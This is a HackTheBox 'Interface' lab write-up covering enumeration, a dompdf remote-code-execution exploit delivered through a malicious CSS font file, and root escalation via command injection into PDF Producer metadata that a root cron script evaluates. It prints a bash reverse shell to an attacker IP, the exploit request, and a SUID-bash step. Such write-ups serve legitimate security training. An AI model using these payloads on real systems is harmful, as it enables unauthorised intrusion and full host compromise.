5 minutes
HackTheBox :: Interface
Creator: irogir
Machine URL: https://app.hackthebox.com/machines/Interface
Difficulty: Medium
Initial enumeration
# Nmap 7.93 scan initiated Wed Mar 29 18:37:18 2023 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.228.208
Nmap scan report for 10.129.228.208
Host is up, received reset ttl 63 (0.038s latency).
Scanned at 2023-03-29 18:37:19 CEST for 23s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7289a0957eceaea8596b2d2dbc90b55a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsUhYQQaT6D7Isd510Mjs3HcpUf64NWRgfkCDtCcPC3KjgNKdOByzhdgpqKftmogBoGPHDlfDboK5hTEm/6mqhbNQDhOiX1Y++AXwcgLAOpjfSExhKQSyKZVveZCl/JjB/th0YA12XJXECXl5GbNFtxDW6DnueLP5l0gWzFxJdtj7C57yai6MpHieKm564NOhsAqYqcxX8O54E9xUBW4u9n2vSM6ZnMutQiNSkfanyV0Pdo+yRWBY9TpfYHvt5A3qfcNbF3tMdQ6wddCPi98g+mEBdIbn1wQOvL0POpZ4DVg0asibwRAGo1NiUX3+dJDJbThkO7TeLyROvX/kostPH
| 256 01848c66d34ec4b1611f2d4d389c42c3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGrQxMOFdtvAa9AGgwirSYniXm7NpzZbgIKhzgCOM1qwqK8QFkN6tZuQsCsRSzZ59+3l+Ycx5lTn11fbqLFqoqM=
| 256 cc62905560a658629e6b80105c799b55 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPtZ4bP4/4TJNGMNMmXWqt2dLijhttMoaeiJYJRJ4Kqy
80/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
|_http-title: Site Maintenance
|_http-favicon: Unknown favicon MD5: 21B739D43FCB9BBB83D8541FE4FE88FA
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar 29 18:37:42 2023 -- 1 IP address (1 host up) scanned in 24.05 seconds
Just two ports are available. Let’s look at the web server.
nginx Web Server
The site is currently on maintenance.
“contact us” is a link:
Sorry for the inconvenience. We’re performing some maintenance at the moment. If you need to you can always <a href="mailto:[email protected]" class="jsx-b59cd6f65990400b">contact us</a>
We add interface.htb
to our /etc/hosts.
Response headers
Response headers for the main page are as follows:
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 29 Mar 2023 17:18:08 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/ https://ajax.googleapis.com; connect-src 'self' http://prd.m.rendering-api.interface.htb; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com; img-src https: data:; child-src data:;
Note http://prd.m.rendering-api.interface.htb
in Content-Security-Policy
header. Added to /etc/hosts
prd.m.rendering-api.interface.htb
http://prd.m.rendering-api.interface.htb is a 404 page.
http://prd.m.rendering-api.interface.htb/api is also 404 but it returns a JSON response:
{"status":"404","status_text":"route not defined"}
It’s time to fuzz routes.
┌──(fluff㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -ic -c -t 400 -u "http://prd.m.rendering-api.interface.htb/api/FUZZ" -X POST -mc all -fs 50,182
...
[Status: 422, Size: 36, Words: 2, Lines: 1, Duration: 51ms]
* FUZZ: html2pdf
Note: as always with API fuzzing, use various methods. In this case only POST shows this route.
┌──(fluff㉿kali)-[~]
└─$ curl -X POST http://prd.m.rendering-api.interface.htb/api/html2pdf
{"status_text":"missing parameters"}
Now we need to find some parameters for this API endpoint.
Parameters fuzzing
┌──(fluff㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -ic -c -t 400 -u "http://prd.m.rendering-api.interface.htb/api/html2pdf" -mc all -fs 36,182 -X POST -d '{"FUZZ":"a"}'
...
[Status: 200, Size: 1128, Words: 116, Lines: 77, Duration: 277ms]
* FUZZ: html
Let’s see what we get back from the server.
┌──(fluff㉿kali)-[~]
└─$ curl -X POST http://prd.m.rendering-api.interface.htb/api/html2pdf --data '{"html":"a"}' --output -
%PDF-1.7
...
/Producer (��dompdf 1.2.0 + CPDF)
...
As expected, it’s a PDF file, and it’s produced by <strong>dompdf</strong>.
RCE in dompdf
Blog post on the vulnerability: https://thehackernews.com/2022/03/unpatched-rce-bug-in-dompdf-project.html
Exploit: https://github.com/positive-security/dompdf-rce
Preparation
┌──(fluff㉿kali)-[/opt/ctf/htb/interface/exploit]
└─$ cat fluffrce.css
@font-face {
font-family:'fluff';
src:url('http://10.10.14.99/fluffrce.php');
font-weight:'normal';
font-style:'normal';
}
┌──(fluff㉿kali)-[/opt/ctf/htb/interface/exploit]
└─$ cat fluffrce.php
� dum1�cmap
`�,glyf5sc��head�Q6�6hhea��($hmtxD
loca
Tmaxp\ nameD�|8dum2�
-��-����
:83#5:08��_<�
@�8�&۽
:8L��
:D
6 s
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.99/443 0>&1'"); ?>
┌──(fluff㉿kali)-[/opt/ctf/htb/interface/exploit]
└─$ echo -n 'http://10.10.14.99/fluffrce.php' | md5sum
8fbc11c3b0509caba7008863638002fb -
fluffrce.css – is our malicious css file that points a font fluff to http://10.10.14.99/fluffrce.php
fluffrce.php – is our malicious “font” file with a reverse shell payload.
8fbc11c3b0509caba7008863638002fb
– is an md5 sum of our link to fluffrce.php.
We will need it to execute our payload.
Exploitation
POST /api/html2pdf HTTP/1.1
Host: prd.m.rendering-api.interface.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
Content-Type: application/json
Content-Length: 78
{"html": "<link rel=stylesheet href='http://10.10.14.99/fluffrce.css'>"}
We submit HTML with a stylesheet to dompdf.
Navigate to http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/fluff_normal_8fbc11c3b0509caba7008863638002fb.php.
And we catch a shell as www-data.
Note:
fluff
is a font name.
normal
is afont-weight
from the css.
8fbc11c3b0509caba7008863638002fb
is an md5 ofhttp://10.10.14.99/fluffrce.php
.
www-data
Get the user flag from /home/dev/user.txt
www-data@interface:/home$ cat dev/user.txt
pspy
2023/03/29 21:36:01 CMD: UID=0 PID=19392 | /bin/bash /usr/local/sbin/cleancache.sh
2023/03/29 21:36:01 CMD: UID=0 PID=19391 | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/pspy64
2023/03/29 21:36:01 CMD: UID=0 PID=19390 | /bin/bash /usr/local/sbin/cleancache.sh
2023/03/29 21:36:01 CMD: UID=0 PID=19389 | /bin/bash /usr/local/sbin/cleancache.sh
2023/03/29 21:36:01 CMD: UID=0 PID=19388 | /bin/sh -c /usr/local/sbin/cleancache.sh
root periodically executes /usr/local/sbin/cleancache.sh
.
For some reason, our pspy64 in /tmp got passed as an argument to exiftool
too.
Let’s take a look at cleancache.sh.
Source code of cleancache.sh
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do
if [[ -f "$cfile" ]]; then
meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)
if [[ "$meta_producer" -eq "dompdf" ]]; then
echo "Removing $cfile"
rm "$cfile"
fi
fi
done
Note the line
if [[ "$meta_producer" -eq "dompdf" ]]; then
This is bash’s extended test command. As we can control the value of $meta_producer
we can use it to execute arbitrary code.
Privilege escalation to root
Relevant blog post: https://www.vidarholen.net/contents/blog/?p=716
Preparation
www-data@interface:/tmp$ cat ~/chmod.sh
#!/bin/bash
chmod +s /bin/bash
www-data@interface:/tmp$ chmod +x ~/chmod.sh
Exploitation
Reusing one of the PDFs we got from the site in the discovery process. Any file can be used, I am just lazy.
www-data@interface:/tmp$ wget http://10.10.14.25/export.pdf
Changing producer metadata for this PDF file.
www-data@interface:/tmp$ exiftool -'Producer'='a[$(/var/www/chmod.sh)]' export.pdf
1 image files updated
Now we wait. Our chmod.sh should be executed on the next run of cleancache.sh by root.
www-data@interface:/tmp$ ls /bin/bash -la
-rwsr-sr-x 1 root root 1113504 Apr 18 2022 /bin/bash
www-data@interface:/tmp$ bash -p
bash-4.4#
We are root!
Grab a flag in /root/root.txt and we are done.